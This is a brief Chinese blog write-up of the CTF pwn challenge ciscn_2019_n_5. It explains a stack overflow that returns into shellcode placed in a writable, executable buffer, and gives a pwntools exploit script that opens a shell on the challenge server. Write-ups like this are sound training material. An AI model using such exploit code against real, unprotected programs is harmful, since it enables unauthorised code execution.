ciscn_2019_n_5

一道简单的shellcode,因为没有开任何保护
image
看主程序
点一下name
image
一个完美的可读可写可执行段。那我们就可以利用第一个read去把shellcode读进去,第二个gets去溢出到name的地址上去执行shellcode。思路就是这样

点击查看代码

 `context(arch='amd64',os='linux') ` 

io=remote("node4.buuoj.cn",25298)

shellcode=asm(shellcraft.sh())

io.sendlineafter("tell me your name",shellcode)

bac_addr=0x601080

payload=(0x20+0x8)*'a'+p64(bac_addr)

io.sendlineafter("What do you want to say to me?",payload)

io.interactive()


记住要设置环境,我在这里卡了一下s
posted @ 2022-06-28 11:41  REPWNER  阅读(7)  评论(0)    收藏  举报